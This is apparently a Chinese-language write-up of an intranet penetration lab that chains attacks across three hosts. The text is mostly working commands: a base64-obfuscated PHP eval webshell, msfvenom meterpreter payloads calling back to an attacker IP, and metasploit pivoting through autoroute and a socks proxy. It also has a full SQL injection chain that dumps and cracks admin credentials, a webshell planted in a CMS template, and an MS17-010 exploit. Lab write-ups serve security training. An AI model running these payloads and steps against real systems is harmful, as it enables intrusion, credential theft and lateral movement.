工作組內網滲透
- 本文章旨在捋一遍內網滲透的大致流程思路。
1. 內網網路拓撲
2. 實戰
- 首先我們使用nmap掃描一下target1的埠
- nmap -T4 -O 192.168.1.107
- 通過掃描結果可以看到,target1開啟了ftp服務/21,ssh服務/22,web服務/80,mysql服務/3306,寶塔/8888
- 既然開啟了web服務,那麼我們就先訪問一下target1所搭建的網站
- 發現使用的是thinkphp v5來搭建的。
- 發現使用的是thinkphp v5來搭建的。
- 而這個版本是存在漏洞的,我們可以直接使用exp來getshell
如圖:
但是當我們訪問shell.php的時候發現訪問失敗
cat 一下我們寫的shell,發現字串 "$_POST" 被過濾掉了
那我們便進行繞過,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
接下來我們使用蟻劍進行連線
- 使用蟻劍的虛擬終端,檢視一下當前的許可權以及linux版本
- 可以看到,當前使用者為 www使用者(低許可權),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
- 可以看到,當前使用者為 www使用者(低許可權),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
- 接下來我們上傳一個msf的馬並連線,以便進一步滲透
- 生成一個linux的馬:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf
上傳,並賦予執行許可權,執行
- 使用msf設定一個監聽器,用以連線木馬
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.104 set lport 6666 exploit
- 由下圖可看出,木馬連線成功
- 接下來我們查詢一下與target1連線的內網網段有哪些,並將這些網段新增進路由並掛上代理以便進行內網滲透
- 所要使用的命令
run get_local_subnets //檢視與target1所連的內網網段有哪些 run autoroute -s 192.168.22.0/24 //將該內網網段新增進路由 run autoroute -p //用於檢視路由是否新增成功 background //將當前的會話掛起 search socks //接下來開始掛socks代理 use auxiliary/server/socks_proxy set VERSION 4a //選擇版本4a,5好像有問題 set SRVHOST 192.168.1.104 //ip設定為kali ip exploit
- 接下來我們要修改一下代理軟體proxychains的配置檔案:/etc/proxychains4.conf。在配置檔案最後一行加上:socks4 192.168.1.104 1080
當我們修改完配置檔案之後,如果想要讓我們的工具走代理的話,就需要在命令前加上:proxychains
- 至此,代理搭建完畢
- 接下來我們要蒐集內網資訊以便進行內網滲透
- 所使用的命令
sessions -i 1 arp -a proxychains nmap -Pn -sT 192.168.22.129 //掃描target2的埠
- 接下來我們來訪問target2所搭建的網站
- 如果你想在kali中開啟火狐訪問的話,需要輸入命令:proxychains firefox,通過這條命令開啟的火狐是通過軟體proxychains走代理的,然後直接訪問ip:192.168.22.129 即可(如果不加代理的話,由於target2屬於內網且與kali不屬於同一網段,我們是訪問不到web的)。
但是我這裡想要使用物理機(本機)進行訪問,於是要用到另一款代理軟體:socksCap64。代理軟體socksCap64的配置方法如下:(其實這裡你也完全可以使用火狐自帶的代理 - 就像使用brup那樣的配置方法)
訪問target2的web服務,由於我們掛了代理,所以直接輸入target2的內網ip即可
檢視一下網站的原始碼,發現最下方靶場給出了提示:存在sql注入
- 利用sql注入拿下target2網站的賬號密碼
- 接下來,我將使用到payload全部總結到下面,注入結果和說明我將一併放進一張圖中(放大即可看清)
- payload:
?r=vul&keyword=1' ?r=vul&keyword=1'%23 ?r=vul&keyword=1' order by 39 %23 ?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23 ?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23 ?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23 ?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23 ?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23
- 將 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。
賬號密碼拿到手了,接下來我們就需要找網站的後臺了,一般而言像這種較為成熟的cms都會存在robots.txt檔案,我們可以通過該檔案找到後臺
使用我們注入得到的賬號成功登陸
- 向target2的網站中寫一句話使用蟻劍連線,並向該伺服器中上傳正向連線的木馬並使用msf監聽
模板 -> header.php -> 編輯 -> <?php @eval($_POST['cmd'])?>
使用蟻劍進行連線(同理:由於target2屬於內網主機,我們仍要使用socksCap64代理軟體開啟 蟻劍 來連線一句話)
- 果然不出我所料,就知道target2要給我找點麻煩。
- 沒辦法,百度唄。最終在這個討論區中找到解決方法:https://github.com/AntSwordProject/antSword/issues/243,
說是因為寶塔的緣故,導致連線被重置了,解決方法:嘗試在header加上 Connection:keep-alive
通過蟻劍進入虛擬終端,看一下target2的系統版本,當前使用者許可權
- 接下來生成一個linux的馬:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf
- 注意:這裡我們生成的是 正向連線 的馬(因為target2在內網,與kali不處於同一個網段,所以target2是主動訪問不了kali的。但是由於kali掛了代理,是可以主動訪問target2的,即target2 ping不通kali,而kali ping得通target2)
kali設定監聽、上線
~~~
proxychains msfconsole //注意:這裡我們要使用proxychains來開啟msf
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.129 //因為我們使用了代理來開啟msf,所以這裡直接填target2的內網私有ip即可
set lport 12345
exploit
~~~
- 檢視與target2所連的還有哪些網段,並將該網段新增進路由
- 所需命令:
~~~
run get_local_subnets
run autoroute -s 192.168.33.0/24
run autoroute -p
~~~
- 由於之前已經設定過socks4a了,所以這次不需要重複設定了
- 所需命令:
- 對target3進行資訊蒐集,並上線
- 接下來進入target2的meterpreter會話,執行命令:arp -a,檢視與target2相連的活躍主機有哪些
發現存在 192.168.33.129 這臺活躍主機(target3)
- 掃描一波target3:proxychains nmap -Pn -sT 192.168.33.129(記得加上proxychains)
發現 445 埠開啟,且為windows主機,我們可以猜測存在 MS17_010漏洞,直接使用msf盲打,成功上線target3
~~~
proxychains msfconsole
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.33.129
exploit
~~~
再來一波程式遷移